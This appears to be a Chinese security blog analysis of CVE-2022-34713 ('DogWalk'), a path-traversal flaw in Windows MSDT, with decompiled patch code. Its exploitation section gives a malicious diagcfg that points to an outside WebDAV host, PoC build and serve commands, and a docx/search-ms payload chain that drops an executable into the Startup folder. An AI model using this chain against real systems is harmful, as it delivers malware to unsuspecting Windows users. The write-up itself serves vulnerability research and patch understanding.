CVE-2022-34713 MSDT目录遍历漏洞分析


0x00 漏洞描述

CVE-2022-34713是Microsoft Windows支持诊断工具(MSDT)RCE漏洞。存在路径穿越的脆弱性,攻击者可以遍历目录,将恶意可执行程序放置Window启动文件夹。
影响版本:

Windows 11
Server 2022
Server, version 20H2
Server 2019
Windows 10
Server 2016
Server 2012 R2
Server 2012
Windows 8.1

0x01 漏洞分析

CVE-2022-34713是Microsoft Windows支持诊断工具(MSDT)RCE漏洞,位于%WINDIR%\System32\msdt.exe,与以下文件类型相关联

File type Description
.diagcab Diagnostic cabinet file
.diagpkg Diagnostic package file
.diagcfg Diagnostic configuration file

关注其中的diagcab文件。解开后拿到Custom.diagcfg:

<?xml version="1.0" encoding="utf-8"?>
<PackageConfiguration xmlns="http://www.microsoft.com/schemas/dcm/configuration/2008">
  <Execution>
    <Package Path="\\webdav-test.herokuapp.com@ssl\DavWWWRoot\package" />
    <Name>Some name</Name>
    <Description>Some description</Description>
    <Icon>@%windir%\diagnostics\system\WindowsUpdate\DiagPackage.dll,-1001</Icon>
  </Execution>

  <Index>
    <Id>Custom</Id>
    <RequiresAdminPrivileges>false</RequiresAdminPrivileges>
    <PrivacyUrl>http://go.microsoft.com/fwlink/?LinkId=190175</PrivacyUrl>
    <Version>1.0</Version>
    <PublisherName>Microsoft Corporation</PublisherName>
    <Category>@%windir%\system32\DiagCpl.dll,-412</Category>
    <Keyword>@%windir%\system32\DiagCpl.dll,-27</Keyword>
  </Index>
</PackageConfiguration>

<Execution>标签下说明了该诊断包的执行行为, msdt会访问<Package Path>给出的路径。

漏洞位于sdiageng.dll中,该库从diagcab的XML文件中获取攻击者提供的文件夹路径,当包获取完成后, msdt将对其进行签名检查, 它将包的副本复制到%TEMP%\SDIAG_<UUID>的临时目录, 调用函数sdiageng!SdpCopyDirectory。在此过程中枚举攻击者文件夹中的文件,获取每个文件的文件名,然后将本地临时文件路径和该文件名拼接用来创建文件在计算机上的本地路径。

0x02 漏洞利用

基本思路

设置一个托管恶意.diagcab文件的webdav服务器,当访问.diagcab文件的链接或者下载时,会将执行路径穿越,把可执行程序写入C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup,每次启动自动执行。

利用步骤

1、创建webdav服务器

实现运行webdav服务的脚本或程序, 部署在服务端。注册并部署客户端访问的package路径。

2、构造diagcfg文件

测试用的diagcfg中的package:

<Package Path="\\127.0.0.1\DavWWWRoot\package" />

3、构造辅助利用文件: diagcabdocx文档

4、投递用户, 打开构造后的文件

注: 目标环境需要开启webclient服务, 否则无法访问webdav的UNC路径。

利用的文件类型: diagcab

diagcfg打包为diagcab, 双击打开后漏洞利用完成:

该漏洞只能做到载荷投放, 需要通过其他方式才可运行。

使用docker

1.构建Custom.diagcfg

./build-malicious-diagcfg.sh --url [WEBDAV_URL]

2.构建hotfix895214.diagcab,移至./webdav/diagcab-webdav-poc/config目录,将可执行文件放入./webdav/malicious

cabarc.exe n hotfix895214.diagcab Custom.diagcfg

3.启动服务

cd ./webdav/diagcab-webdav-poc
perl diagcab-webdav-poc.pl

或者直接使用docker直接执行./hurry-dogwalk.sh [WEBDAV_URL]

利用的文件类型: docx

解开.docx样本文件,关注其中/word/_rels目录下的document.xml.rels文件。会对外部文件进行引用执行。

Target="https://irsl.github.io/microsoft-diagcab-rce-poc/payload.html!x-usc:https://irsl.github.io/microsoft-diagcab-rce-poc/payload.html" TargetMode = "External"/>

payload.html

<!doctype html>
<html lang="en">
<body>
<script>
...
window.location.href = "search-ms:query=i-repair-everything-on-your-computer.diagcab&crumb=location:%5C%5Cwebdav-test.herokuapp.com%40SSL%5CDavWWWRoot%5Cconfig&displayname=Important%20update"
</script>
</body>
</html>

执行payload访问webdav

0x03 补丁分析

sdiageng!SdpCopyDirectory

位于sdiageng!SdpCopyDirectory (19044.1899):

添加了检查目录的逻辑。

__int64 __fastcall SdpCopyDirectory(const unsigned __int16 *aPckSource, const unsigned __int16 *aTmpSDiagPath)
{
  const unsigned __int16 *lsTmpSDiagPath; // r13
  const unsigned __int16 *lPckSource; // r12
  char bFlagTurnOffCheck; // di
  LSTATUS lRes1; // eax
  __int64 v6; // r8
  unsigned __int64 lRes2; // r9
  char *hFind; // r15
  __int64 itraceCode1; // r8
  int dwLastError5; // er9
  unsigned int dwLastError2; // ebx
  LSTATUS dwRet1; // eax
  __int64 v13; // r8
  signed int dwRet2; // ebx
  wchar_t *sWebDavFile; // rsi
  wchar_t *sTmpSDiagFile; // r14
  int dwLastError3; // er9
  __int64 itraceCode2; // r8
  signed int dwLastError4; // eax
  signed int dwLastError6; // eax
  __int64 v21; // r8
  signed int dwLastError1; // eax
  BYTE Data[4]; // [rsp+30h] [rbp-D0h]
  DWORD cbData; // [rsp+34h] [rbp-CCh]
  DWORD Type; // [rsp+38h] [rbp-C8h]
  HKEY hKey; // [rsp+40h] [rbp-C0h]
  struct _WIN32_FIND_DATAW FindFileData; // [rsp+50h] [rbp-B0h]
  wil::details::in1diag3 *retaddr; // [rsp+2E8h] [rbp+1E8h]

  lsTmpSDiagPath = aTmpSDiagPath;
  lPckSource = aPckSource;
  if ( byte_7FFC50EF27F8 )
  {
    bFlagTurnOffCheck = byte_7FFC50EF2858;
    goto DEBUG_TRACE1;
  }
  hKey = 0i64;                                  // TurnOffCheck Registry key turned on
  lRes1 = RegOpenKeyExW(
            HKEY_LOCAL_MACHINE,
            L"Software\\Policies\\Microsoft\\Windows\\ScriptedDiagnostics",
            0,
            0x20019u,
            &hKey);
  lRes2 = lRes1 | 0x80070000;
  if ( lRes1 <= 0 )
    lRes2 = lRes1;
  if ( (lRes2 & 0x80000000) != 0i64 )
  {
    wil::details::in1diag3::_Log_Hr(retaddr, 0x7EA, v6, lRes2);
TURNOFFCHECK_OFF:
    bFlagTurnOffCheck = 1;
    goto DEBUG_TRACE1;
  }
  if ( !hKey )
    goto TURNOFFCHECK_OFF;
  *Data = 0;
  Type = 4;
  cbData = 4;
  dwRet1 = RegQueryValueExW(hKey, L"TurnOffCheck", 0i64, &Type, Data, &cbData);
  dwRet2 = dwRet1 | 0x80070000;
  if ( dwRet1 <= 0 )
    dwRet2 = dwRet1;
  if ( dwRet2 < 0 )
    wil::details::in1diag3::_Log_Hr(retaddr, 0x7FB, v13, dwRet2);
  if ( hKey )
    RegCloseKey(hKey);
  if ( dwRet2 < 0 || (bFlagTurnOffCheck = 0, !*Data) )
    bFlagTurnOffCheck = 1;
  byte_7FFC50EF2858 = bFlagTurnOffCheck;
  byte_7FFC50EF27F8 = 1;
DEBUG_TRACE1:
  hFind = 0i64;
  if ( !lPckSource )                            // Check arguments for errors
  {
    itraceCode1 = 2103i64;
DEBUG_TRACE2:
    dwLastError5 = -2147024809;
DEBUG_TRACE3:
    dwLastError2 = dwLastError5;
    SdpDebugTrace(1u, L"SdpCopyDirectory", itraceCode1, dwLastError5);
    return dwLastError2;
  }
  if ( !lsTmpSDiagPath )
  {
    itraceCode1 = 2104i64;
    goto DEBUG_TRACE2;
  }
  sWebDavFile = operator new[](0x208ui64);
  if ( !sWebDavFile )
  {
    dwLastError5 = -2147024882;
    itraceCode1 = 2107i64;
    goto DEBUG_TRACE3;
  }
  sTmpSDiagFile = operator new[](0x208ui64);
  if ( !sTmpSDiagFile )
  {
    dwLastError3 = -2147024882;
    itraceCode2 = 2110i64;
    dwLastError2 = -2147024882;
    goto DEBUG_TRACE5;
  }
  dwLastError4 = StringCchPrintfW(sWebDavFile, 260i64, L"%s\\*", lPckSource);
  dwLastError2 = dwLastError4;
  if ( dwLastError4 < 0 )
  {
    itraceCode2 = 2113i64;
    goto DEBUG_TRACE4;
  }
  hFind = FindFirstFileW(sWebDavFile, &FindFileData);// Search for file or directory in WebDavRoot\*
  if ( (hFind - 1) <= 0xFFFFFFFFFFFFFFFDui64 )
  {
    do
    {
      if ( !(FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) )// Isn't it a directory? Setup sWebDavFile and sTmpSDiagFile
      {
        dwLastError4 = StringCchPrintfW(sWebDavFile, 260i64, L"%s\\%s", lPckSource, FindFileData.cFileName);
        dwLastError2 = dwLastError4;
        if ( dwLastError4 < 0 )
        {
          itraceCode2 = 2134i64;
DEBUG_TRACE4:
          dwLastError3 = dwLastError4;
DEBUG_TRACE5:
          SdpDebugTrace(1u, L"SdpCopyDirectory", itraceCode2, dwLastError3);
          break;
        }
        dwLastError4 = StringCchPrintfW(sTmpSDiagFile, 260i64, L"%s\\%s", lsTmpSDiagPath, FindFileData.cFileName);
        dwLastError2 = dwLastError4;
        if ( dwLastError4 < 0 )
        {
          itraceCode2 = 0x85Di64;
          goto DEBUG_TRACE4;
        }
        if ( bFlagTurnOffCheck )                // Is TurnOffCheck turned off?
        {
          *Data = 0;
          dwLastError6 = SdpIsSubDirectory(lPckSource, sWebDavFile, Data);// Check if any WebDav file is sub-directory of package source 
          if ( dwLastError6 < 0 )
            goto REPORT_FAILURE;
          if ( !*Data )
            continue;
          *Data = 0;
          dwLastError6 = SdpIsSubDirectory(lsTmpSDiagPath, sTmpSDiagFile, Data);// Check if any file at %TMP\SDIAG_random-clsid is sub-directory of folder %TMP%\SDIAG_random-clsid
          if ( dwLastError6 < 0 )
          {
REPORT_FAILURE:
            wil::details::in1diag3::_Log_Hr(retaddr, 0x80D, v21, dwLastError6);
            continue;
          }
          if ( !*Data )                         // Result is stored at "Data": *Data=0x1 => CopyFile, if not: continue. 
                                                // So this is actually the ##DogWalk vuln check.
            continue;
        }
        if ( CopyFileW(sWebDavFile, sTmpSDiagFile, 1) )// Vulnerable CopyFile op
        {
          dwLastError2 = 0;
        }
        else
        {
          dwLastError1 = GetLastError();
          dwLastError2 = dwLastError1 | 0x80070000;
          if ( dwLastError1 <= 0 )
            dwLastError2 = dwLastError1;
          if ( (dwLastError2 & 0x80000000) != 0 )
          {
            dwLastError3 = dwLastError2;
            itraceCode2 = 2151i64;
            goto DEBUG_TRACE5;
          }
        }
      }
    }
    while ( FindNextFileW(hFind, &FindFileData) );// File Search
  }
  operator delete(sWebDavFile);
  if ( sTmpSDiagFile )
    operator delete(sTmpSDiagFile);
  if ( (hFind - 1) <= 0xFFFFFFFFFFFFFFFDui64 )
    FindClose(hFind);
  return dwLastError2;
}

读取TurnoffCheck设置。 检查参数是否有错误。 检查WebDAVROOT中是否存在文件夹或文件\,如果存在则继续。 如果turnoffcheck setup,则copyfile不进行其他检查。 否则,检查是否有任何WebDAV文件是包源的子目录。 然后,检查是否有任何文件是文件夹%tmp%\sdiag_random-clsid的子目录。 如果*data=1,则copyfile,否则文件/文件夹搜索将继续。

sdiageng!SdpIsSubDirectory

__int64 __fastcall SdpIsSubDirectory(const unsigned __int16 *aParentDir, const unsigned __int16 *aChildDir, int *aData)
{
  int *lData; // r14
  const unsigned __int16 *lChildDir; // r12
  wchar_t *sChildDir3; // rdi
  size_t iLenParentDir; // rsi
  unsigned __int64 iLenChildDir; // rbp
  __int64 itraceCode1; // r8
  signed int dwLastError1; // ebx
  signed int dwLastError4; // eax
  wchar_t *sParentDir2; // r15
  int dwLastError3; // er9
  __int64 itraceCode3; // r8
  signed int dwLastError5; // eax
  int dwLastError2; // er9
  __int64 itraceCode2; // r8
  __int64 iCharCounter1; // rdx
  wchar_t *sParentDir3; // rax
  __int64 iCharCounter2; // rdx
  wchar_t *sChildDir2; // rax
  wchar_t *sChildDir1; // [rsp+60h] [rbp+8h]
  wchar_t *sParentDir1; // [rsp+78h] [rbp+20h]

  lData = aData;
  sParentDir1 = 0i64;
  lChildDir = aChildDir;
  sChildDir1 = 0i64;
  sChildDir3 = 0i64;
  iLenParentDir = 0i64;
  iLenChildDir = 0i64;
  if ( !aParentDir )                            // Check arguments for errors
  {
    itraceCode1 = 1957i64;
DEBUG_TRACE1:
    dwLastError1 = -2147024809;
    SdpDebugTrace(1u, L"SdpIsSubDirectory", itraceCode1, -2147024809);
    return dwLastError1;
  }
  if ( !aChildDir )
  {
    itraceCode1 = 1958i64;
    goto DEBUG_TRACE1;
  }
  if ( !aData )
  {
    itraceCode1 = 1959i64;
    goto DEBUG_TRACE1;
  }
  dwLastError4 = SdpGetFullPath(aParentDir, &sParentDir1, 0i64);// Get Full path for parent directory
  sParentDir2 = sParentDir1;
  dwLastError1 = dwLastError4;
  if ( dwLastError4 >= 0 )
  {
    dwLastError5 = SdpGetFullPath(lChildDir, &sChildDir1, 0i64);// Get Full path for child directory
    dwLastError1 = dwLastError5;
    if ( dwLastError5 >= 0 )
    {
      if ( sParentDir2 )
      {
        iCharCounter1 = 260i64;
        sParentDir3 = sParentDir2;
        do                                      // Calculate length for parent directory
        {
          if ( !*sParentDir3 )
            break;
          ++sParentDir3;
          --iCharCounter1;
        }
        while ( iCharCounter1 );
        dwLastError1 = iCharCounter1 == 0 ? 0x80070057 : 0;
        if ( iCharCounter1 )
          iLenParentDir = 260 - iCharCounter1;
      }
      else
      {
        dwLastError1 = -2147024809;
      }
      if ( dwLastError1 < 0 )
        iLenParentDir = 0i64;
      if ( dwLastError1 >= 0 )
      {
        sChildDir3 = sChildDir1;
        if ( sChildDir1 )
        {
          iCharCounter2 = 260i64;
          sChildDir2 = sChildDir1;
          do                                    // Calculate length for child directory
          {
            if ( !*sChildDir2 )
              break;
            ++sChildDir2;
            --iCharCounter2;
          }
          while ( iCharCounter2 );
          dwLastError1 = iCharCounter2 == 0 ? 0x80070057 : 0;
          if ( iCharCounter2 )
            iLenChildDir = 260 - iCharCounter2;
        }
        else
        {
          dwLastError1 = -2147024809;
        }
        if ( dwLastError1 < 0 )
          iLenChildDir = 0i64;
        if ( dwLastError1 >= 0 )
        {                                       // 1) Len for child dir > Len for parent dir
                                                // 2) _wcsnicmp: Child dir begins with parent dir. Parent dir: %tmp%\SDIAG_random-clsid
                                                // 3) Last char of parent dir is "\" or next char for child dir, 
                                                // further than parent dir length, is "\" and exist further chars after this.
          *lData = iLenChildDir > iLenParentDir
                && !_wcsnicmp(sParentDir2, sChildDir1, iLenParentDir)
                && (sParentDir2[iLenParentDir - 1] == '\\'
                 || sChildDir3[iLenParentDir] == '\\' && sChildDir3[iLenParentDir + 1]);
          goto CLEANUP;
        }
        dwLastError3 = dwLastError1;
        itraceCode3 = 1971i64;
        goto DEBUG_TRACE2;
      }
      dwLastError2 = dwLastError1;
      itraceCode2 = 1968i64;
    }
    else
    {
      dwLastError2 = dwLastError5;
      itraceCode2 = 1965i64;
    }
    SdpDebugTrace(1u, L"SdpIsSubDirectory", itraceCode2, dwLastError2);
    sChildDir3 = sChildDir1;
    goto CLEANUP;
  }
  dwLastError3 = dwLastError4;
  itraceCode3 = 1962i64;
DEBUG_TRACE2:
  SdpDebugTrace(1u, L"SdpIsSubDirectory", itraceCode3, dwLastError3);
CLEANUP:
  if ( sParentDir2 )
    operator delete(sParentDir2);
  if ( sChildDir3 )
    operator delete(sChildDir3);
  return dwLastError1;
}

检查参数是否有错误。 获取父目录的完整路径。 获取子目录的完整路径。 计算父目录的字符串长度。 计算子目录的字符串长度。 检查子目录是否真的是父目录的子目录。

0x04 参考


文章作者: 大茗茗のblog
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 大茗茗のblog !
  目录